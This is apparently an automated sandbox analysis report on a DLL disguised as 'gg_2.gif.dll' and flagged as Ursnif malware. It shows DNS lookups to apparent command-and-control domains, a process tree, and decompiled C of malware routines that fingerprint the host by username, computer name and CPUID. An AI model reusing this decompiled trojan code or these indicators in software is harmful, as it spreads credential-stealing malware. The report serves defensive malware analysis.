Apr 6, 2021 09:45:03.094922066 CEST	53	58867	8.8.8.8	192.168.2.7
Apr 6, 2021 09:45:19.965068102 CEST	50864	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:45:20.021604061 CEST	53	50864	8.8.8.8	192.168.2.7
Apr 6, 2021 09:45:20.235553026 CEST	61504	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:45:20.281605959 CEST	53	61504	8.8.8.8	192.168.2.7
Apr 6, 2021 09:45:20.459345102 CEST	60231	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:45:20.505398035 CEST	53	60231	8.8.8.8	192.168.2.7
Apr 6, 2021 09:45:20.941323996 CEST	50095	53	192.168.2.7	8.8.8.8
Apr 6, 2021 09:45:20.987087965 CEST	53	50095	8.8.8.8	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Apr 6, 2021 09:43:11.346352100 CEST	192.168.2.7	8.8.8.8	0xd614	Standard query (0)	login.microsoftonline.com	A (IP address)	IN (0x0001)
Apr 6, 2021 09:43:56.011467934 CEST	192.168.2.7	8.8.8.8	0x4756	Standard query (0)	under17.com	A (IP address)	IN (0x0001)
Apr 6, 2021 09:44:09.269527912 CEST	192.168.2.7	8.8.8.8	0x52dd	Standard query (0)	under17.com	A (IP address)	IN (0x0001)
Apr 6, 2021 09:44:10.161437035 CEST	192.168.2.7	8.8.8.8	0x1fb7	Standard query (0)	under17.com	A (IP address)	IN (0x0001)
Apr 6, 2021 09:44:23.403147936 CEST	192.168.2.7	8.8.8.8	0xeaad	Standard query (0)	under17.com	A (IP address)	IN (0x0001)
Apr 6, 2021 09:44:33.456516027 CEST	192.168.2.7	8.8.8.8	0xe931	Standard query (0)	urs-world.com	A (IP address)	IN (0x0001)
Apr 6, 2021 09:44:40.575429916 CEST	192.168.2.7	8.8.8.8	0xbec5	Standard query (0)	urs-world.com	A (IP address)	IN (0x0001)
Apr 6, 2021 09:44:44.799652100 CEST	192.168.2.7	8.8.8.8	0x17c2	Standard query (0)	urs-world.com	A (IP address)	IN (0x0001)
Apr 6, 2021 09:44:58.892924070 CEST	192.168.2.7	8.8.8.8	0x4dbb	Standard query (0)	urs-world.com	A (IP address)	IN (0x0001)
Apr 6, 2021 09:45:03.027239084 CEST	192.168.2.7	8.8.8.8	0xaee0	Standard query (0)	login.microsoftonline.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Apr 6, 2021 09:43:11.408977985 CEST	8.8.8.8	192.168.2.7	0xd614	No error (0)	login.microsoftonline.com	a.privatelink.msidentity.com		CNAME (Canonical name)	IN (0x0001)
Apr 6, 2021 09:43:11.408977985 CEST	8.8.8.8	192.168.2.7	0xd614	No error (0)	a.privatelink.msidentity.com	prda.aadg.msidentity.com		CNAME (Canonical name)	IN (0x0001)
Apr 6, 2021 09:43:11.408977985 CEST	8.8.8.8	192.168.2.7	0xd614	No error (0)	prda.aadg.msidentity.com	www.tm.a.prd.aadg.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)
Apr 6, 2021 09:43:11.526518106 CEST	8.8.8.8	192.168.2.7	0xd60a	No error (0)	prda.aadg.msidentity.com	www.tm.a.prd.aadg.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)
Apr 6, 2021 09:43:56.079545975 CEST	8.8.8.8	192.168.2.7	0x4756	No error (0)	under17.com		185.243.114.196	A (IP address)	IN (0x0001)
Apr 6, 2021 09:44:09.331233978 CEST	8.8.8.8	192.168.2.7	0x52dd	No error (0)	under17.com		185.243.114.196	A (IP address)	IN (0x0001)
Apr 6, 2021 09:44:10.218655109 CEST	8.8.8.8	192.168.2.7	0x1fb7	Server failure (2)	under17.com	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 09:44:23.457480907 CEST	8.8.8.8	192.168.2.7	0xeaad	No error (0)	under17.com		185.243.114.196	A (IP address)	IN (0x0001)
Apr 6, 2021 09:44:33.525907040 CEST	8.8.8.8	192.168.2.7	0xe931	No error (0)	urs-world.com		185.186.244.95	A (IP address)	IN (0x0001)
Apr 6, 2021 09:44:40.629792929 CEST	8.8.8.8	192.168.2.7	0xbec5	Server failure (2)	urs-world.com	none	none	A (IP address)	IN (0x0001)
Apr 6, 2021 09:44:44.854104996 CEST	8.8.8.8	192.168.2.7	0x17c2	No error (0)	urs-world.com		185.186.244.95	A (IP address)	IN (0x0001)
Apr 6, 2021 09:44:58.950344086 CEST	8.8.8.8	192.168.2.7	0x4dbb	No error (0)	urs-world.com		185.186.244.95	A (IP address)	IN (0x0001)
Apr 6, 2021 09:45:03.068928957 CEST	8.8.8.8	192.168.2.7	0x45af	No error (0)	prda.aadg.msidentity.com	www.tm.a.prd.aadg.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)
Apr 6, 2021 09:45:03.094922066 CEST	8.8.8.8	192.168.2.7	0xaee0	No error (0)	login.microsoftonline.com	a.privatelink.msidentity.com		CNAME (Canonical name)	IN (0x0001)
Apr 6, 2021 09:45:03.094922066 CEST	8.8.8.8	192.168.2.7	0xaee0	No error (0)	a.privatelink.msidentity.com	prda.aadg.msidentity.com		CNAME (Canonical name)	IN (0x0001)
Apr 6, 2021 09:45:03.094922066 CEST	8.8.8.8	192.168.2.7	0xaee0	No error (0)	prda.aadg.msidentity.com	www.tm.a.prd.aadg.akadns.net		CNAME (Canonical name)	IN (0x0001)

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exe PID: 3544 Parent PID: 5692

General

Start time:	09:42:41
Start date:	06/04/2021
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe 'C:\Users\user\Desktop\gg_2.gif.dll'
Imagebase:	0x210000
File size:	116736 bytes
MD5 hash:	542795ADF7CC08EFCF675D65310596E8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.334082249.000000000317B000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.334133428.000000000317B000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000000.00000002.492240511.0000000000BD0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.334122359.000000000317B000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.480594234.0000000002F7F000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.334100411.000000000317B000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.334161617.000000000317B000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.334180863.000000000317B000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.415230609.000000000307D000.00000004.00000040.sdmp, Author: Joe Security
Reputation:	moderate

Chronological Activities

Analysis Process: cmd.exe PID: 5424 Parent PID: 3544

General

Start time:	09:42:42
Start date:	06/04/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\gg_2.gif.dll',#1
Imagebase:	0x870000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 5420 Parent PID: 3544

General

Start time:	09:42:42
Start date:	06/04/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\gg_2.gif.dll,StartService
Imagebase:	0x1370000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000002.00000002.260825998.0000000001060000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 5408 Parent PID: 5424

General

Start time:	09:42:42
Start date:	06/04/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe 'C:\Users\user\Desktop\gg_2.gif.dll',#1
Imagebase:	0x1370000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.321638626.0000000005A78000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.321709185.0000000005A78000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.321582588.0000000005A78000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.321610032.0000000005A78000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.321662691.0000000005A78000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000002.494742479.0000000005A78000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.321684389.0000000005A78000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.321545910.0000000005A78000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000003.00000002.492614087.0000000001330000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.321698074.0000000005A78000.00000004.00000040.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 6788 Parent PID: 792

General

Start time:	09:43:06
Start date:	06/04/2021
Path:	C:\Program Files\internet explorer\iexplore.exe
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Imagebase:	0x7ff6df460000
File size:	823560 bytes
MD5 hash:	6465CB92B25A7BC1DF8E01D8AC5E7596
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 6840 Parent PID: 6788

General

Start time:	09:43:07
Start date:	06/04/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6788 CREDAT:17410 /prefetch:2
Imagebase:	0xf60000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 7144 Parent PID: 792

General

Start time:	09:43:53
Start date:	06/04/2021
Path:	C:\Program Files\internet explorer\iexplore.exe
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Imagebase:	0x7ff6df460000
File size:	823560 bytes
MD5 hash:	6465CB92B25A7BC1DF8E01D8AC5E7596
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 6000 Parent PID: 7144

General

Start time:	09:43:54
Start date:	06/04/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:7144 CREDAT:17410 /prefetch:2
Imagebase:	0x7ff772bb0000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 5220 Parent PID: 7144

General

Start time:	09:44:07
Start date:	06/04/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:7144 CREDAT:82952 /prefetch:2
Imagebase:	0xde0000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 900 Parent PID: 792

General

Start time:	09:44:30
Start date:	06/04/2021
Path:	C:\Program Files\internet explorer\iexplore.exe
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Imagebase:	0x7ff6df460000
File size:	823560 bytes
MD5 hash:	6465CB92B25A7BC1DF8E01D8AC5E7596
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 4280 Parent PID: 900

General

Start time:	09:44:31
Start date:	06/04/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:900 CREDAT:17410 /prefetch:2
Imagebase:	0xde0000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: loaddll32.exe PID: 3544 Parent PID: 5692 loaddll32.exeCOMMON

Executed Functions

Function 026712D4, Relevance: 34.7, APIs: 23, Instructions: 222
memoryfiletimeCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E026712D4(signed char* __eax, intOrPtr* _a4) {
				signed int _v12;
				void* _v16;
				CHAR* _v20;
				struct _FILETIME _v28;
				void* _v32;
				void* _v36;
				char* _v40;
				signed int _v44;
				long _v344;
				struct _WIN32_FIND_DATAA _v368;
				signed int _t72;
				void* _t74;
				signed int _t76;
				void* _t78;
				intOrPtr _t81;
				CHAR* _t83;
				void* _t85;
				signed char _t89;
				signed char _t91;
				intOrPtr _t93;
				void* _t96;
				long _t99;
				int _t101;
				signed int _t109;
				char* _t111;
				void* _t113;
				int _t119;
				char _t128;
				void* _t134;
				signed int _t136;
				char* _t139;
				signed int _t140;
				char* _t141;
				char* _t146;
				signed char* _t148;
				int _t151;
				void* _t152;
				void* _t153;
				void* _t154;
				void* _t165;

				_v12 = _v12 & 0x00000000;
				_t148 = __eax;
				_t72 =  *0x267d278; // 0x63699bc3
				_t74 = RtlAllocateHeap( *0x267d238, 0, _t72 ^ 0x63699ac7);
				_v20 = _t74;
				if(_t74 == 0) {
					L36:
					return _v12;
				}
				_t76 =  *0x267d278; // 0x63699bc3
				_t78 = RtlAllocateHeap( *0x267d238, 0, _t76 ^ 0x63699bce);
				_t146 = 0;
				_v36 = _t78;
				if(_t78 == 0) {
					L35:
					HeapFree( *0x267d238, _t146, _v20);
					goto L36;
				}
				_t136 =  *0x267d278; // 0x63699bc3
				memset(_t78, 0, _t136 ^ 0x63699bce);
				_t81 =  *0x267d27c; // 0xc7a5a8
				_t154 = _t153 + 0xc;
				_t5 = _t81 + 0x267e7f2; // 0x73797325
				_t83 = E026795B1(_t5);
				_v20 = _t83;
				if(_t83 == 0) {
					L34:
					HeapFree( *0x267d238, _t146, _v36);
					goto L35;
				}
				_t134 = 0xffffffffffffffff;
				_v28.dwLowDateTime = 0x63699bce;
				_v28.dwHighDateTime = 0x63699bce;
				_t85 = CreateFileA(_t83, 0x80000000, 1, 0, 3, 0x80, 0); // executed
				_v32 = _t85;
				if(_t85 != 0x63699bce) {
					GetFileTime(_t85,  &_v28, 0, 0);
					_v28.dwLowDateTime = _v28.dwLowDateTime + 0x2a69c000;
					asm("adc dword [ebp-0x14], 0xc9"); // executed
					FindCloseChangeNotification(_v32); // executed
				}
				 *(StrRChrA(_v20, _t146, 0x5c)) = 0;
				_t89 = 0x3c6ef35f +  *_t148 * 0x19660d;
				_t91 = 0x3c6ef35f + _t89 * 0x19660d;
				 *_t148 = _t91;
				_v32 = _t91 & 0x000000ff;
				_t93 =  *0x267d27c; // 0xc7a5a8
				_t16 = _t93 + 0x267e813; // 0x642e2a5c
				_v40 = _t146;
				_v44 = _t89 & 0x000000ff;
				__imp__(_v20, _t16);
				_t96 = FindFirstFileA(_v20,  &_v368); // executed
				_v16 = _t96;
				if(_t96 == _t134) {
					_t146 = 0;
					goto L34;
				}
				_t99 = CompareFileTime( &(_v368.ftLastWriteTime),  &_v28);
				while(_t99 > 0) {
					_t101 = FindNextFileA(_v16,  &_v368); // executed
					if(_t101 == 0) {
						FindClose(_v16);
						_v16 = FindFirstFileA(_v20,  &_v368);
						_v28.dwHighDateTime = _v344;
						_v28.dwLowDateTime = _v368.ftLastWriteTime.dwLowDateTime;
					}
					_t99 = CompareFileTime( &(_v368.ftLastWriteTime),  &_v28);
				}
				_v12 = _v12 & 0x00000000;
				while(1) {
					_t109 = _v44;
					if(_v12 <= _t109) {
						goto L15;
					}
					_t140 = _v12;
					if(_t140 > _v32) {
						_t141 = _v36;
						 *_a4 = _t141;
						while(1) {
							_t128 =  *_t141;
							if(_t128 == 0) {
								break;
							}
							if(_t128 < 0x30) {
								 *_t141 = _t128 + 0x20;
							}
							_t141 = _t141 + 1;
						}
						_v12 = 1;
						FindClose(_v16); // executed
						_t146 = 0;
						goto L35;
					}
					_t165 = _t140 - _t109;
					L15:
					if(_t165 == 0 || _v12 == _v32) {
						_t111 = StrChrA( &(_v368.cFileName), 0x2e);
						_t139 = _v40;
						_t151 = _t111 -  &(_v368.cFileName);
						_t113 = 0;
						if(_t139 != 0) {
							_t48 = _t151 - 4; // -4
							_t113 = _t48;
							if(_t113 > _t151) {
								_t113 = 0;
							}
						}
						if(_t151 > 4) {
							_t151 = 4;
						}
						memcpy(_v36 + _t139, _t152 + _t113 - 0x140, _t151);
						_t154 = _t154 + 0xc;
						_v40 =  &(_v40[_t151]);
					}
					do {
						_t119 = FindNextFileA(_v16,  &_v368); // executed
						if(_t119 == 0) {
							FindClose(_v16);
							_v16 = FindFirstFileA(_v20,  &_v368);
						}
					} while (CompareFileTime( &(_v368.ftLastWriteTime),  &_v28) > 0);
					_v12 = _v12 + 1;
				}
			}

0x026712dd
0x026712e3
0x026712e5
0x026712ff
0x02671303
0x02671306
0x0267157b
0x02671582
0x02671582
0x0267130c
0x02671321
0x02671323
0x02671327
0x0267132a
0x0267156b
0x02671575
0x00000000
0x02671575
0x02671330
0x0267133b
0x02671340
0x02671345
0x02671348
0x0267134f
0x02671356
0x02671359
0x0267155b
0x02671565
0x00000000
0x02671565
0x0267136f
0x02671373
0x02671376
0x02671379
0x02671381
0x02671384
0x0267138d
0x02671393
0x0267139d
0x026713a4
0x026713a4
0x026713b6
0x026713c1
0x026713cf
0x026713d4
0x026713d9
0x026713dc
0x026713e1
0x026713eb
0x026713ee
0x026713f1
0x02671407
0x0267140b
0x0267140e
0x02671559
0x00000000
0x02671559
0x02671425
0x02671476
0x02671439
0x02671441
0x02671446
0x02671454
0x0267145d
0x02671466
0x02671466
0x02671474
0x02671474
0x0267147a
0x0267147e
0x0267147e
0x02671484
0x00000000
0x00000000
0x02671486
0x0267148c
0x02671533
0x02671536
0x02671543
0x02671543
0x02671547
0x00000000
0x00000000
0x0267153c
0x02671540
0x02671540
0x02671542
0x02671542
0x0267154c
0x02671553
0x02671555
0x00000000
0x02671555
0x02671492
0x02671494
0x02671494
0x026714a7
0x026714ad
0x026714b8
0x026714ba
0x026714be
0x026714c0
0x026714c0
0x026714c5
0x026714c7
0x026714c7
0x026714c5
0x026714cc
0x026714d0
0x026714d0
0x026714e0
0x026714e5
0x026714e8
0x026714e8
0x026714eb
0x026714f5
0x026714fd
0x02671502
0x02671510
0x02671510
0x02671524
0x02671528
0x02671528

APIs

RtlAllocateHeap.NTDLL(00000000,63699BC3,00000000), ref: 026712FF
RtlAllocateHeap.NTDLL(00000000,63699BC3), ref: 02671321
memset.NTDLL ref: 0267133B

Part of subcall function 026795B1: ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,00000000,00000000,026723E9,63699BCE,02671354,73797325), ref: 026795C2
Part of subcall function 026795B1: ExpandEnvironmentStringsA.KERNEL32(?,00000000,00000000,00000000), ref: 026795DC

CreateFileA.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000080,00000000,73797325), ref: 02671379
GetFileTime.KERNEL32(00000000,?,00000000,00000000), ref: 0267138D
FindCloseChangeNotification.KERNELBASE(00000000), ref: 026713A4
StrRChrA.SHLWAPI(?,00000000,0000005C), ref: 026713B0
lstrcat.KERNEL32(?,642E2A5C), ref: 026713F1
FindFirstFileA.KERNELBASE(?,?), ref: 02671407
CompareFileTime.KERNEL32(?,?), ref: 02671425
FindNextFileA.KERNELBASE(026796C1,?), ref: 02671439
FindClose.KERNEL32(026796C1), ref: 02671446
FindFirstFileA.KERNEL32(?,?), ref: 02671452
CompareFileTime.KERNEL32(?,?), ref: 02671474
StrChrA.SHLWAPI(?,0000002E), ref: 026714A7
memcpy.NTDLL(00000000,?,00000000), ref: 026714E0
FindNextFileA.KERNELBASE(026796C1,?), ref: 026714F5
FindClose.KERNEL32(026796C1), ref: 02671502
FindFirstFileA.KERNEL32(?,?), ref: 0267150E
CompareFileTime.KERNEL32(?,?), ref: 0267151E
FindClose.KERNELBASE(026796C1), ref: 02671553
HeapFree.KERNEL32(00000000,00000000,73797325), ref: 02671565
HeapFree.KERNEL32(00000000,?), ref: 02671575

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: File$Find$CloseHeapTime$CompareFirst$AllocateEnvironmentExpandFreeNextStrings$ChangeCreateNotificationlstrcatmemcpymemset
String ID:
API String ID: 2944988578-0
Opcode ID: cc146fed35f249c879b2579e65506c39c15635539f531ba0f1aa541209e866c7
Instruction ID: 6646fdb8aa1a645721a8a335e8d4de1cfef7c77aea6f42945913c4d9a905e5e5
Opcode Fuzzy Hash: cc146fed35f249c879b2579e65506c39c15635539f531ba0f1aa541209e866c7
Instruction Fuzzy Hash: 3D815CB1D00109AFDF14CFA5EC84AEEBBB9FF45300F1049AAE515E6250D7319A99CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 1000102F, Relevance: 13.6, APIs: 9, Instructions: 81
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E1000102F(intOrPtr __edx, long _a4, void** _a8, void** _a12) {
				intOrPtr _v12;
				struct _FILETIME* _v16;
				short _v60;
				struct _FILETIME* _t14;
				intOrPtr _t15;
				long _t18;
				void* _t19;
				void* _t22;
				intOrPtr _t31;
				long _t32;
				void* _t34;

				_t31 = __edx;
				_t14 =  &_v16;
				GetSystemTimeAsFileTime(_t14);
				_push(0x192);
				_push(0x54d38000);
				_push(_v12);
				_push(_v16);
				L10002100();
				_push(_t14);
				_v16 = _t14;
				_t15 =  *0x10004150;
				_push(_t15 + 0x1000505e);
				_push(_t15 + 0x10005054);
				_push(0x16);
				_push( &_v60);
				_v12 = _t31;
				L100020FA();
				_t18 = _a4;
				if(_t18 == 0) {
					_t18 = 0x1000;
				}
				_t19 = CreateFileMappingW(0xffffffff, 0x10004140, 4, 0, _t18,  &_v60); // executed
				_t34 = _t19;
				if(_t34 == 0) {
					_t32 = GetLastError();
				} else {
					if(_a4 != 0 || GetLastError() == 0xb7) {
						_t22 = MapViewOfFile(_t34, 6, 0, 0, 0); // executed
						if(_t22 == 0) {
							_t32 = GetLastError();
							if(_t32 != 0) {
								goto L9;
							}
						} else {
							 *_a8 = _t34;
							 *_a12 = _t22;
							_t32 = 0;
						}
					} else {
						_t32 = 2;
						L9:
						CloseHandle(_t34);
					}
				}
				return _t32;
			}

0x1000102f
0x10001038
0x1000103c
0x10001042
0x10001047
0x1000104c
0x1000104f
0x10001052
0x10001057
0x10001058
0x1000105b
0x10001066
0x1000106d
0x10001071
0x10001073
0x10001074
0x10001077
0x1000107c
0x10001086
0x10001088
0x10001088
0x1000109c
0x100010a2
0x100010a6
0x100010f6
0x100010a8
0x100010b1
0x100010c7
0x100010cf
0x100010e1
0x100010e5
0x00000000
0x00000000
0x100010d1
0x100010d4
0x100010d9
0x100010db
0x100010db
0x100010bc
0x100010be
0x100010e7
0x100010e8
0x100010e8
0x100010b1
0x100010fe

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 1000103C
_aulldiv.NTDLL(?,?,54D38000,00000192), ref: 10001052
_snwprintf.NTDLL ref: 10001077
CreateFileMappingW.KERNELBASE(000000FF,10004140,00000004,00000000,?,?), ref: 1000109C
GetLastError.KERNEL32 ref: 100010B3
MapViewOfFile.KERNELBASE(00000000,00000006,00000000,00000000,00000000), ref: 100010C7
GetLastError.KERNEL32 ref: 100010DF
CloseHandle.KERNEL32(00000000), ref: 100010E8
GetLastError.KERNEL32 ref: 100010F0

Memory Dump Source

Source File: 00000000.00000002.496130381.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.496109491.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.496159830.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: ErrorFileLast$Time$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
String ID:
API String ID: 1724014008-0
Opcode ID: 659c6e22773efc5d4acf18c79085ac1006ba0f018220d8c2180b8ead122f5ef9
Instruction ID: fd2cfec1e864bf63db9aaa2ee4e5368c07c46789b5c4626883214d07a46f71c5
Opcode Fuzzy Hash: 659c6e22773efc5d4acf18c79085ac1006ba0f018220d8c2180b8ead122f5ef9
Instruction Fuzzy Hash: 6821CFB2500258BFE721EFA8CCC4EDE77ADEB483D0F118136F615D7159DAB099858BA0

Uniqueness

Uniqueness Score: -1.00%

Function 0267269C, Relevance: 12.1, APIs: 8, Instructions: 102
memoryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E0267269C(char __eax, signed int* __esi) {
				long _v8;
				char _v12;
				signed int _v16;
				signed int _v20;
				signed int _v28;
				long _t34;
				signed int _t39;
				long _t50;
				char _t59;
				intOrPtr _t61;
				void* _t62;
				void* _t63;
				signed int* _t64;
				char _t65;
				intOrPtr* _t67;
				void* _t68;
				signed int* _t69;

				_t69 = __esi;
				_t65 = __eax;
				_v8 = 0;
				_v12 = __eax;
				if(__eax == 0) {
					_t59 =  *0x267d270; // 0xd448b889
					_v12 = _t59;
				}
				_t64 = _t69;
				E02676B43( &_v12, _t64);
				if(_t65 != 0) {
					 *_t69 =  *_t69 ^  *0x267d278 ^ 0x4c0ca0ae;
				} else {
					GetUserNameW(0,  &_v8); // executed
					_t50 = _v8;
					if(_t50 != 0) {
						_t62 = RtlAllocateHeap( *0x267d238, 0, _t50 + _t50);
						if(_t62 != 0) {
							if(GetUserNameW(_t62,  &_v8) != 0) {
								_t63 = _t62;
								 *_t69 =  *_t69 ^ E02672496(_v8 + _v8, _t63);
							}
							HeapFree( *0x267d238, 0, _t62);
						}
					}
				}
				_t61 = __imp__;
				_v8 = _v8 & 0x00000000;
				GetComputerNameW(0,  &_v8);
				_t34 = _v8;
				if(_t34 != 0) {
					_t68 = RtlAllocateHeap( *0x267d238, 0, _t34 + _t34);
					if(_t68 != 0) {
						if(GetComputerNameW(_t68,  &_v8) != 0) {
							_t63 = _t68;
							_t69[3] = _t69[3] ^ E02672496(_v8 + _v8, _t63);
						}
						HeapFree( *0x267d238, 0, _t68);
					}
				}
				asm("cpuid");
				_t67 =  &_v28;
				 *_t67 = 1;
				 *((intOrPtr*)(_t67 + 4)) = _t61;
				 *(_t67 + 8) = _t63;
				 *(_t67 + 0xc) = _t64;
				_t39 = _v16 ^ _v20 ^ _v28;
				_t69[1] = _t69[1] ^ _t39;
				return _t39;
			}

0x0267269c
0x026726a4
0x026726aa
0x026726ad
0x026726b0
0x026726b2
0x026726b7
0x026726b7
0x026726bd
0x026726bf
0x026726cc
0x0267272d
0x026726ce
0x026726d3
0x026726d9
0x026726de
0x026726ec
0x026726f0
0x026726ff
0x02672706
0x0267270d
0x0267270d
0x02672718
0x02672718
0x026726f0
0x026726de
0x0267272f
0x02672735
0x0267273f
0x02672741
0x02672746
0x02672755
0x02672759
0x02672764
0x0267276b
0x02672772
0x02672772
0x0267277e
0x0267277e
0x02672759
